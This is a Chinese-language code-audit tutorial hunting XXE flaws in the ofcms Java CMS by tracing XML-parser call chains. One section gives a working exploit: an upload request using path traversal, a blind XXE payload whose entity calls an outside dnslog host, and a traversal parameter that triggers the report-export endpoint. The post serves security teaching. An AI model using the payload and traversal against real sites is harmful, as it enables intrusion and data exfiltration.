Java代码审计篇 - ofcms系统审计思路讲解 - 篇4 - XXE漏洞审计

news/2024/11/18 0:25:04/文章来源:https://www.cnblogs.com/leyilea/p/18426196

Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计

1. XXE代码审计【有1处】

XXE代码审计常搜索的关键字如下:

XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...

还有一个特殊的,用于加载.jrxml 文件,这是 JasperReports 特定的 XML 格式,用于定义报告模板。

JRXmlLoader

1.1. 搜索JRXmlLoader

当然这样搜比较慢,而且有很多重复的,这里有个小技巧,可以搜到JRXmlLoader之后,然后Find Usages(Alt+F7),然后找到Usage in import查看哪些类有导入JRXmlLoader。

概涉及的类有:

JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...

挨个查看一下,需要找解析jrxml文件的代码以及对应方法的调用情况:

这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。

JRAntApiWriteTask

进到JRAntApiWriteTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader:

可以看到,代码中使用了JRXmlLoader.load(srcFileName),这里调用了.load()方法,这是JRXmlLoader加载jrxml文件的方式。

其中这段代码是在writeApi()方法中被调用。

接下来的思路是:先查找writeApi()方法的调用情况(原因前面已经说了)

可以看到,同类下的execute()方法对其有调用,但是通过查找execute()的调用,发现并没有被使用。因此,此处就不需要再往下进行了。

1.1.2. JRAntUpdateTask

进到JRAntUpdateTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader,以及方法的调用情况:

和JRAntApiWriteTask类中的情况一样,execute()没有被调用,不用管了。

1.1.3. TableReportContextXmlRule

这个类虽然导入了JRXmlLoader,但是没有调用.load()方法,所以也不用管了

JasperCompileManager【存在漏洞】

这个类中的方法很多,很多方法都用到了JRXmlLoader:

我们应该怎么定位呢?

想一下我们在干嘛?是不是在寻找XXE漏洞,回想XXE原理,其中前提是:代码需要解析xml(jrxml)文件才可能有漏洞,如果是生成xml文件是不是就不用管了。

因此:我们需要定位到解析xml(jrxml)文件的地方。

在JRXmlLoader中解析使用的是load()方法,因此我们可以在当前类中搜索.load(,发现定位到了5个位置:

来详细看一下:

分析一下代码,方法之间进行了互相调用,当然也调用了除了上述方法之外的方法。

下面我用调用图展示一下:

这三个调用链都涉及到了load()方法,因此都有可能存在XXE漏洞。

接下来看每个调用链最上层的方法是怎么调用的(也就是找参数sourceFileName从哪来的),三个方法分别如下:(通过Find Usages/Alt+F7查询)

  • compileReportToFile()方法,没有被调用,即该方法没有触发,不用管了~

  • 第1个compile(String sourceFileName)方法,被当前类的compileReport(String sourceFileName)方法调用

  • 第2个compile(InputStream inputStream)方法,被当前类的compileReport(InputStream inputStream)方法调用

  • compileReportToStream()方法,没有被调用,即该方法没有触发,不用管了~

目前,只需要关注其中两个就好:

  • 1)ompileReport(String sourceFileName)
  • 2)compileReport(InputStream inputStream)

继续查看其调用关系:其中compileReport(InputStream inputStream)存在调用,ompileReport(String sourceFileName)没有被调用。

定位到compileReport(InputStream inputStream)的调用位置,查看源码:

ReprotAction类的expReport()方法将其调用。

并且ReprotAction类上存在一个@Action(path = "/reprot")注解,也就是说这里可以被前端请求触发执行。

触发该expReport()方法的接口为:/admin/reprot/expReport.json

那么接下来做两件事:

  • 1)确定传参,有无过滤
  • 2)触发接口,进行漏洞测试

从下面这段代码可以看出:compileReport(new FileInputStream(file))的file是从"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"获取的.jrxml文件,而具体什么文件,由前端传递的“j”参数决定。

简单来说就是:在/WEB-INF/jrxml/目录下寻找“j”参数指定的.jrxml文件进行jrxml文件的解析。

并从调用链看出:整个过程没有对文件进行过滤,包括也没有禁止解析外部实体(默认可以解析外部实体)。

调用链如下:

expReport()->compileReport()->compile()->JRXmlLoader.load()

所以这里是存在XXE漏洞的。

那这样的话,我们只需要保证:前端触发/admin/reprot/expReport.json接口时,传递“j”参数指定的.jrxml文件中存在恶意外部实体,就可以实现漏洞利用。

这里还有一个问题:“j”参数指定的.jrxml文件是在/WEB-INF/jrxml/目录下,这里我们是不可控的,因此怎么让ta能够加载一个存在恶意外部实体的.jrxml文件呢?

这里只能结合前面的文件上传漏洞,写入恶意.jrxml,来实现XXE漏洞的利用(如果这里不存在文件上传漏洞,这里无法利用)。

接下来,尝试利用一下:(这里没有回显,使用盲XXE方式)

1)通过文件上传漏洞,上传一个带有恶意外部实体的.jrxml文件。

file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E

file_content解码如下:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>

2)触发/admin/reprot/expReport.json接口

根据功能和接口可以定位到功能为止:用户管理-导出全部

点击“导出全部”,抓包,修改参数:

j=../../static/exp

可以看到,请求dnslog成功

1.2. 搜索XMLReader

注释忽略不看,剩余的大概涉及的类有

DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是接口
CoroutineParser

每个都大概看一下:(找方法的调用情况,及解析xml文件的相关方法,比如parse()等)

XMLReader的使用链为:

XMLReader.parse()

1.2.1. DTMManagerDefault

这个调用链非常的长,一般超过3个我都不会去审计了,因为ta有可能是组件内部使用的,有兴趣的师傅可以自行追一下方法调用链,说不定有组件0day哦~

1.2.2. IncrementalSAXSource_Xerces

该类中不存在解析xml文件的代码,故忽略

1.2.3. IncrementalSAXSource_Filter

此类中存在解析xml文件的代码

接下来,追踪其方法调用及参数传递

run()方法的调用很多:

但是存在一个问题,parse()方法所需的参数,并不是run()方法传递进来的。

因此接下来从参数传递进行分析,看是否可控

可以看到,该参数是startParse(InputSource source)方法传入,接下来追踪下该方法

有两个类中调用了该方法,一个DTMManagerDefault,一个IncrementalSAXSource_Xerces

1.2.4. XMLReaderManager

疲倦了,师傅们自己追追吧~

1.2.5. CoroutineParser

疲倦了,师傅们自己追追吧~

1.3. 搜索SAXBuilder

不存在SAXBuilder。

1.4. 搜索SAXReader

搜索SAXReader之后,进入类之后,发现所搜到的都是变量名

并不是SAXReader对象,而是SAXCatalogReader类对象,没有解析xml文件的代码,所以不需要再看了。

📌SAXCatalogReader 是一个与 XML 解析相关的概念,主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用,以解决 DTD(Document Type Definition)或 XML 实体的重定向问题。通过配置 SAXCatalogReader,可以在解析 XML 文档时指定特定的目录文件,从而控制对外部资源的访问。

1.5. 搜索SAXParserFactory

SAXParserFactory的使用链为:

SAXParserFactory.newInstance().newSAXParser().parse()

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

这里交给大家一个小技巧,使用正则表达式,搜索包含SAXParserFactory且包含.parse(的java类:

(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)

通过搜索,可以定位到比较精确的java类:

设计到的类有:

SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader

1.5.1. SynthParser

追踪一下parse()的调用,发现存在

继续追踪load(),发现只在注释中出现,没有其他调用了,那就不用管了。

1.5.2. ResolvingParser

这个类搜索到的parse并不是用来解析xml文件的,所以忽略

1.5.3. Process

该类中存在解析xml文件的代码:

该段代码存在的方法为_main(),但并未有调用,因此忽略

1.5.4. SAXCatalogReader

该类中存在解析xml文件的代码:

追踪下readCatalog()方法的调用,这个时候,会发现,方法的调用链很长。此时也要结合参数的来源一同分析。

📌tips:方法的调用链很长,没完没了,其实这里差不多可以放弃了,如果是项目代码中真正用到了,代用链不会过长(当然也不一定,只是经验之谈)。
当然,你可以继续查看调用链,说不定会存在组件0day。
这里其实也可以结合参数来一起分析,参数可能在方法调用链的某个中间位置就确定了,那就不需要分析这么长的调用链了。

通过分析方法调用和参数传递,主要分为两种情况:

readCatalog()方法的调用一部分来自其他类中readCatalog()方法,而这些方法并没有再被调用,所以没有被使用,因此这部分忽略,见下图红框处:

剩下的就是parseCatalog()方法了:

其中parseCatalog(URL aUrl)无调用:

其中parseCatalogFile(String fileName)调用链比较长,但是参数在该方法中就确定了:

不是可控的,不用管了。

最后的parseCatalog(String mimeType, InputStream is)

还得继续追踪其调用:

追踪到queryResolver()方法,其参数也是不可控的,忽略。

SAXCatalogReader的分析到此为止。

1.5.5. AndroidFontFinder

该类中存在解析xml文件的代码:

其中参数来源为parseSystemDefaultFonts()方法,追踪该方法的调用:

存在两个,但是parseSystemDefaultFonts()方法所需参数并不是从这两个方法传入的,因此在这两个方法内部就确定了parseSystemDefaultFonts()方法所需参数,即最终parse()方法的参数。

那么分析一下:

这里可以看出,这个参数是固定不可控的,因此忽略,另一个方法内部也是如此,因此也忽略。

1.5.6. JRPrintXmlLoader

该类中存在解析xml文件的代码:

其方法为loadXML(InputStream is),追踪方法调用,

但是追踪其方法调用,发现最上层方法并没有被调用,截图略,其中调用链为:

load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)loadXML(InputStream is)digester.parse(is)

还有一个调用链为:

RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(JasperReportsContext jasperReportsContext,String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
loadReport(String fileName, boolean isXmlReport)loadXML(InputStream is)digester.parse(is)

不管哪个调用链,其最上层方法都没有被调用,因此忽略。

1.6. 搜索Digester

Digester的使用链为:

Digester.parse()

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

使用正则表达式,搜索包含Digester且包含.parse(的java类:

(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)

通过搜索,可以定位到比较精确的java类:

涉及的类有:

JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader

1.6.1. JRXmlLoader

该类中的loadXML()方法没有被调用,忽略

1.6.2. JRPrintXmlLoader

该类中的loadXML()方法没有被调用,忽略

1.6.3. JRXmlTemplateLoader

该类中的loadTemplate()方法没有被调用,忽略

1.7. 搜索DocumentBuilderFactory

DocumentBuilderFactory的使用链为:

DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))

所以在搜索到的类中,搜索.parse(,如果有的话则存在解析xml,不存在则没有。

使用正则表达式,搜索包含DocumentBuilderFactory且包含.parse(的java类:

(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)

通过搜索,可以定位到比较精确的java类:

涉及到的类有:

DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport

接下来思路一下,查看每个类中相关代码

  • parse是不在解析xml文件
  • 其相关方法的调用关系
  • 解析的xml文件参数是否可控
  • 有无过滤、禁止解析外部DTD

1.7.1. DTMManagerDefault

之前遇到过,忽略。

1.7.2. DOMCatalogReader

该类中存在解析xml文件的代码:

其方法为readCatalog(Catalog catalog, InputStream is),追踪方法调用。

📌剩下的不想追了,累了~ 有兴趣的师傅可以自己每个都追下,这样就不会漏了,祝各位师傅天天出0day。

有好的技巧、好的思路的师傅也可以共享下思路,互相学习~~么么哒

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/801839.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java反序列化利用链篇 | CC6链分析(通用版CC链)

CC6 CC6和CC1之间的区别 在CC1的LazyMap链中,调用链如下: AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()而在CC1链中,对CommonsCollections和jdk版本是有限…

Java反序列化利用链篇 | CC3链分析、TemplatesImpl类中的调用链、TrAXFilter、InstantiateTransformer类的transform()【本系列文章的分析重点】

CC3链分析 1. CC3链背景 前面介绍了CC1和CC6,这两条链子虽然前面的入口类不同CC1入口类是AnnotationInvocationHandler CC6入口类是HashMap但是其触发恶意代码的方式是相同的,都是InvokerTransformer.transform()触发Runtime.getRuntime().exec()实现命令执行。而在很多情况下…

VUE学习day one

学习来源:【前端最新Vue2+Vue3基础入门到实战项目全套教程,自学前端vue就选黑马程序员,一套全通关!】https://www.bilibili.com/video/BV1HV4y1a7n4?vd_source=6dac49feb8d7fd76b147c8cf8c0c2b5a Vue是什么?Vue是一个用于构建用户界面(基于数据动态渲染出用户看到的页面)…

全网最适合入门的面向对象编程教程:51 Python 函数方法与接口-使用 Zope 实现接口

在 Python 中,Zope 提供了一种机制来定义和实现接口。Zope 的接口模块通常用于创建可重用的组件,并确保组件遵循特定的接口规范。全网最适合入门的面向对象编程教程:51 Python 函数方法与接口-使用 Zope 实现接口摘要: 在 Python 中,Zope 提供了一种机制来定义和实现接口。…

Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】

CC1链的第二种方式-LazyMap版调用链 目录LazyMap构造payloadCC1的调用链参考链接LazyMap 在之前的CC1链中分析,其实是其中一种方式(国内版本),还有另外一种方式,也是ysoserial中的CC1链的方式(国外版本)。 区别在于调用transform的类是不同的。 在寻找transform调用的时…

瑞云科技AIGC云平台:重塑电商设计流程!

在快节奏的电商市场中,商品更新换代的速度越来越快,而电商设计团队传统的设计流程和工作模式却难以满足当前行业对快速响应、高效发展和降低成本的实际需求.对此,瑞云科技针对电商设计行业的痛点,提供了全新的AIGC创作云平台.从2022年ChatGPT的发布到,AI正以惊人的速度席卷全球…

学习高校课程-软件工程-敏捷开发(ch5)

WHAT IS AGILITY 什么是敏捷性 An agile team is a nimble team able to appropriately respond to changes. Change is what software development is very much about. Changes in the software being built, changes to the team members, changes because of new technolog…

从零开始一个git操作实例,图文并茂

徒弟不懂git怎么用, 于是写了篇文章, 把本地git操作从头写了一遍, 自己去看吧!0、基本概念 •Git是一个免费、开源的、分布式版本控制系统 •它使用一个特殊的叫做仓库的数据库来记录文件的变化 •仓库中的每个文件都有一个完整的版本历史记录 1)安装 sudo apt-update sud…

Java反序列化利用链篇 | JdbcRowSetImpl利用链分析

JdbcRowSetImpl利用链 前言 首先说明一下:利用链都有自己的使用场景,要根据场景进行选择不同的利用链。 JdbcRowSetImpl利用链用于fastjson反序列化漏洞中。 为什么? 因为fastjson会在反序列化类时自动调用set开头的方法(不一定是setter方法),而JdbcRowSetImpl中存在一个…

Java反序列化调用链分析系列 | URLDNS链

URLDNS链 URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。 该链比较简单,利用链也比较短。 其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。 整个调用链如下: HashMap.readObject() HashMap.putVal() HashMap.hash()URL.hash…

控制请求并发数量:p-limit 源码解读

p-limit 是一个控制请求并发数量的库,他的整体代码不多,思路挺好的,很有学习价值; 举例 当我们同时发起多个请求时,一般是这样做的 Promise.all([requestFn1,requestFn2,requestFn3 ]).then(res =>{})或者 requestFn1() requestFn2() requestFn3()而使用 p-limit 限制并…

程序员职业发展之路思考:工程师的等级阶梯

德雷福斯模型:新手到专家 德雷福斯模型(Dreyfus model)是在 1980 年,Dreyfus 兄弟共同提出的技能习得模型。 它是一个技能习得的阶梯模型,也可以用来考察行业技术能手的分级。该模型由上而下分成:专家、精通者、胜任者、高级新手、新手五个等级,越到上面人数占比越少。新…